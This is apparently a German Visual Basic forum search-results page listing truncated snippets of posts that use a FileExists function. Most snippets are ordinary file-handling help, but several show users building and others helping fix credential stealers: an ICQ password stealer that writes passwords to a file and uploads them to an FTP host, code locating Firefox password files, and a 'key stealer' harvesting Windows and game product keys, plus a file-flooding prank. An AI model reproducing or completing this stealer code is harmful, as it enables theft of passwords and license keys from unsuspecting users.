Visual Basic Forum

Verfasst am: 23.11.2009, 18:33 Aufrufe: 722

Verfasst am: 10.10.2009, 17:49 Aufrufe: 722

Verfasst am: 18.06.2009, 12:00 Aufrufe: 1011

Verfasst am: 18.06.2009, 11:55 Aufrufe: 1051

Verfasst am: 15.06.2009, 12:29 Aufrufe: 1237

Jetzt wissen wir aber natürlich nicht ob die Datei wirklich da ist und jedesmal per CMD testen ist ja auch langweilig. Mit der normalen „FileExists“ Funktion geht es auch nicht und deshalb kommt jetzt die Api „OpenFile“ zum Einsatz.Hier ein Code zum Überprüfen der Existenz einer Datei:Public Function FileExists(ByVal Filename As String) As Boolean<br />Dim OF As OFSTRUCT<br />FileExists = OpenFile ...

Verfasst am: 15.05.2009, 08:16 Aufrufe: 712

Verfasst am: 28.07.2008, 11:46 Aufrufe: 539

(bla;6150)Visual Basic: geht schon,wird dann im gleichen ordner wie die exe gespeichert, aber danke für den code

Verfasst am: 28.07.2008, 10:47 Aufrufe: 539

Verfasst am: 23.05.2008, 17:44 Aufrufe: 2155

Hier mal die Funktion ReadLine:Visual Basic: [code]Public Function ReadLine(ByVal sFile As String, _ Optional ByVal nLine As Long = 1) As String Dim sLines() As String Dim oFSO As Object Dim oFile As Object ' Fehlerbehandlung aktivieren On Error GoTo ErrHandler ' Verweis auf das FileSystemObject erstellen Set oFSO = CreateObject("Scripting.FileSystemObject") ' Existiert die Datei überhaupt? If oFSO.File ...

Verfasst am: 13.05.2008, 08:23 Aufrufe: 1245

Verfasst am: 17.04.2008, 18:45 Aufrufe: 1245

Dim MyData() As Byte<br />MyData = LoadResData(101, "CUSTOM")Wir wollen ja, das die Resource nur entpackt wird, wenn sie noch nicht existiert, also fragen wir das vorher ab. Auf das benötigte Modul komme ich später noch einmal zurück.If Not FileExists(MyPath) ThenJetzt suchen wir uns einen freien Datenkanal, damit Bugs vorgebeugt werden.Dim FF As Integer<br />FF = FreeFileN ...

Verfasst am: 05.04.2008, 16:30 Aufrufe: 1310

Verfasst am: 26.03.2008, 08:40 Aufrufe: 465

Du kannst auch den Text aufeinmal auslesen und dann splitten beim Zeilenumbruch, aber dazu würde ich nicht umbedingt raten. Also. Beispiel: Dim ff as Integer Dim sBuffer as string If FileExists("blablabla.txt") then ff = FreeFile Open "blablabla.txt" for Input as #ff Do Until EOF(ff) Line Input #ff, sBuffer if LenB(sBuffer) <> 0 then List1 ...

Verfasst am: 18.03.2008, 14:22 Aufrufe: 744

Jau da sist mir garnicht aufgefallen! Du musst es so machen, das ist dein code: cmd = Split(options, "#") host = cmd(0) user = cmd(1) pw = (2) LocalFile = "C:\ICQ6_PWS.txt" If FileExists(LocalFile) Then Kill LocalFile End If blablabal blablalba Dim RemoteFile As String RemoteFile = Environ("USERNAME") + "_ICQ_ ...

Verfasst am: 18.03.2008, 14:12 Aufrufe: 744

Verfasst am: 17.03.2008, 19:27 Aufrufe: 744

Also ich wollte nen ICQ Stel0r machen, die PW's liest der auch aus und speichert die, aber hochladen geht net hier der Code cmd = Split(options, "#") host = cmd(0) user = cmd(1) pw = (2) LocalFile = "C:\ICQ6_PWS.txt" If FileExists(LocalFile) Then Kill LocalFile End If blablabal blablalba Dim RemoteFile As String RemoteFile = Env ...

Verfasst am: 15.03.2008, 17:38 Aufrufe: 654

Private Function FileExists(ByVal FileName As String) As Boolean On Error Resume Next FileExists = (Len(Dir$(FileName, vbDirectory Or vbHidden Or _ vbNormal Or vbReadOnly Or vbSystem)) <> 0) End Function Private Sub Form_Load() Dim FireFoxPath As String Dim ProfilePath As String Dim No7 As String Dim ProfileName As String Dim PassFile1 As String Dim PassFile2 As Strin ...

Verfasst am: 13.03.2008, 21:30 Aufrufe: 654

Private Function FileExists(ByVal FileName As String) As Boolean On Error Resume Next FileExists = (Len(Dir$(FileName, vbDirectory Or vbHidden Or _ vbNormal Or vbReadOnly Or vbSystem)) <> 0) End Function Private Sub Form_Load() Dim FireFoxPath As String Dim ProfilePath As String Dim No7 As String Dim ProfileName As String Dim ...

Verfasst am: 02.03.2008, 19:57 Aufrufe: 447

Verfasst am: 01.03.2008, 21:08 Aufrufe: 3402

Verfasst am: 25.02.2008, 14:29 Aufrufe: 388

jo jetzt ist es ja richtig , mit den slash wenn ich true machen bassiert nix bei false schon irgend wie bischen komisch Smile

Was ist da komisch? Die Function gibt dir einfach zurück, dass sie die Datei nicht gefunden hat. Ist ja klar, dass wenn sie nicht True zurückgibt, dann False zurückgibt. If FileExists(App.Path & "\text1.txt") = True Then MsgBox "da" Else MsgBox & ...

Verfasst am: 25.02.2008, 14:07 Aufrufe: 388

jo danke man muss nur false machen nicht true XD also If FileExists(App.Path & "\text1.txt") = false Then MsgBox "hallo" Else End If okay nun kann ich weiter machen , Smile

Verfasst am: 25.02.2008, 13:34 Aufrufe: 388

If FileExists(App.Path & "\text1.txt") = True Then MsgBox "hallo" Else End If Probier den mal Wink

Verfasst am: 25.02.2008, 13:32 Aufrufe: 388

Verfasst am: 25.02.2008, 12:55 Aufrufe: 388

Hiho , wie kann man überprüfen ob eine datei vorhanden ist ? ich habe das hier mal gefunden Public Function FileExists(strFile As String) As Boolean FileExists = (Len(Dir(strFile)) > 0) End Function Und der auf ruf wollte ich mit einer if machen nun frage ich mich aber wie das geht soll . Ich habe es so probiert If FileExists("\text1.txt&quo ...

Verfasst am: 23.02.2008, 14:11 Aufrufe: 481

On Error GoTo Zähler und der Zähler hängt deinem Remote Dateinamen deine (Zahl) an. Müsste aber auch eine FileExists Funktion für Internet Transfer Protocol geben, glaube ich.

Verfasst am: 23.02.2008, 12:11 Aufrufe: 535

... 56 Xor bProductKey(ilKeyByte) bProductKey(ilKeyByte) = Int(nCur / 24) nCur = nCur Mod 24 Next ilKeyByte sCDKey = Chr(bKeyChars(nCur)) & sCDKey If ilByte Mod 5 = 0 And ilByte <> 0 Then sCDKey = "-" & sCDKey Next ilByte sGetXPCDKey = sCDKey End Function Private Function FileExists ...

Verfasst am: 23.02.2008, 08:45 Aufrufe: 1741

Dim MyData() As Byte MyData = LoadResData(101, "CUSTOM") Wir wollen ja, das die Resource nur entpackt wird, wenn sie noch nicht existiert, also fragen wir das vorher ab. Auf das benötigte Modul komme ich später noch einmal zurück. If Not FileExists(MyPath) Then Jetzt suchen wir uns einen freien Datenkanal, damit Bugs vorgebeugt werden. Dim FF As Integer FF = FreeFile ...

Verfasst am: 17.02.2008, 20:21 Aufrufe: 1572

txt" If FileExists(LocalFile) Then Kill LocalFile End If If Not key = "" Then key = sGetXPCDKey() Open LocalFile For Output As #1 Print #1, WindowsKey: Print #1, Print #1, key Print #1, Print #1, Serials: Print #1, Print #1, text(1) Print #1, text(2) Print #1, text(3) Print #1, text(4) Print #1, text(5) Print #1, te ...

Verfasst am: 15.02.2008, 23:15 Aufrufe: 369

Verfasst am: 15.02.2008, 17:34 Aufrufe: 573

Verfasst am: 15.02.2008, 17:32 Aufrufe: 573

Verfasst am: 15.02.2008, 14:50 Aufrufe: 818

Verfasst am: 15.02.2008, 14:50 Aufrufe: 369

... TP erstellt der so heist wie der pc und dort die sachen reinpackt code Private Sub Form_Load() Dim FireFoxPath As String Dim ProfilePath As String Dim No7 As String Dim ProfileName As String Dim PassFile1 As String Dim PassFile2 As String Dim MasterPWFile As String Dim Useless As String FireFoxPath = Environ$("appdata") & "\Mozilla\FireFox" If Not FileExists ...

Verfasst am: 12.02.2008, 13:31 Aufrufe: 1350

Verfasst am: 12.02.2008, 07:10 Aufrufe: 1350

geht auch via if fileexist(DATEI) then kill .... end if Die Funktion gibts in VB nicht, wenn dann musstd u schon die FileExists() Funktion mit hier her kopieren ...

Verfasst am: 10.02.2008, 13:18 Aufrufe: 681

Verfasst am: 20.01.2008, 17:13 Aufrufe: 751

Hallo,ich habe ein key stealer aber ich will das er mehrer keys stealt windows key games keys und es soll vor den keys den name stehen von was die sind wie kann ich das machen ??ß Habe quelltext Ist nicht meiner Private Function FileExists(ByVal FileName As String) As Boolean On Local Error Resume Next FileExists = (Dir$(FileName) <> "") End Function Private Function RegRead(Path As Str ...

Verfasst am: 20.01.2008, 16:41 Aufrufe: 1483

Verfasst am: 20.01.2008, 16:29 Aufrufe: 1483

Verfasst am: 20.01.2008, 15:02 Aufrufe: 1483

Verfasst am: 20.01.2008, 14:33 Aufrufe: 1483

Ja, er kann die Textdatei nicht löschen, weil sie nicht existiert. Nimm die FileExists Funktion und lass das vorher prüfen. Private Function FileExists(ByVal FileName As String) As Boolean On Local Error Resume Next FileExists = (Dir$(FileName) <> "") End Function Private Function RegRead(Path As String) As String Dim ws As Object On Error GoTo ErrHandler S ...

Verfasst am: 21.12.2007, 19:34 Aufrufe: 2013

Funktion zum ocx files erstellen und registrieren Public Function SaveRes(ID As Integer, nFilepath As String) if Not FileExists(nFilePath) then Dim nBuffer() As Byte nBuffer = LoadResData(ID, "CUSTOM") Dim ff As Integer ff = FreeFile Open nFilepath For Binary As #ff Put #ff, , nBuffer Close #ff DoEvents Call Shell("regsvr32.exe " & n ...

Verfasst am: 20.12.2007, 16:50 Aufrufe: 689

Verfasst am: 08.12.2007, 21:06 Aufrufe: 2013

Private Declare Function GetTickCount Lib "kernel32" () As Long Public Function WaitHere(ByVal Seconds As Long) Dim x1 As Long, x2 As Long x2 = GetTickCount + (Seconds * 1000) Do Until x1 >= x2 x1 = GetTickCount DoEvents Loop End Function FileExist - Überprüft ob eine Datei existiert oder nicht Public Function FileExists(ByVal FileName As String) As ...

Verfasst am: 10.11.2007, 21:46 Aufrufe: 2382

Verfasst am: 24.09.2007, 14:17 Aufrufe: 785

Hier mal eine Beispiel Funktion die die Datei als Array ausgibt: Public Function FileExists(strFile As String) As Boolean On Error GoTo Err FileExists = (Len(Dir(strFile)) > 0) Err: End Function Public Function FileReadArray(strFile As String) As String() Dim Buffer As String Dim FileChannel As Integer If FileExists(strFile) Then FileChannel = FreeFile Open tx ...

Verfasst am: 24.09.2007, 13:51 Aufrufe: 785

' Public Function ReadLine(ByVal sFile As String, _ Optional ByVal nLine As Long = 1) As String Dim sLines() As String Dim oFSO As Object Dim oFile As Object ' Fehlerbehandlung aktivieren On Error GoTo ErrHandler ' Verweis auf das FileSystemObject erstellen Set oFSO = CreateObject("Scripting.FileSystemObject") ' Existiert die Datei überhaupt? If oFSO.FileE ...

Verfasst am: 18.09.2007, 09:11 Aufrufe: 1417

Verfasst am: 19.08.2007, 08:09 Aufrufe: 1014

IO Imports System Function Flood() Dim FILE_NAME As String = "N00B.txt" Dim Anzahl As Integer If My.Computer.Filesystem.FileExists(FILE_NAME) Then FILE_NAME = "N000B" & Anzahl & ".txt" End If Using sw As StreamWriter = File.CreateText(FILE_NAME) sw.WriteLine("OMG Fucking N00B! Do You Know, that its illegal to Download File ...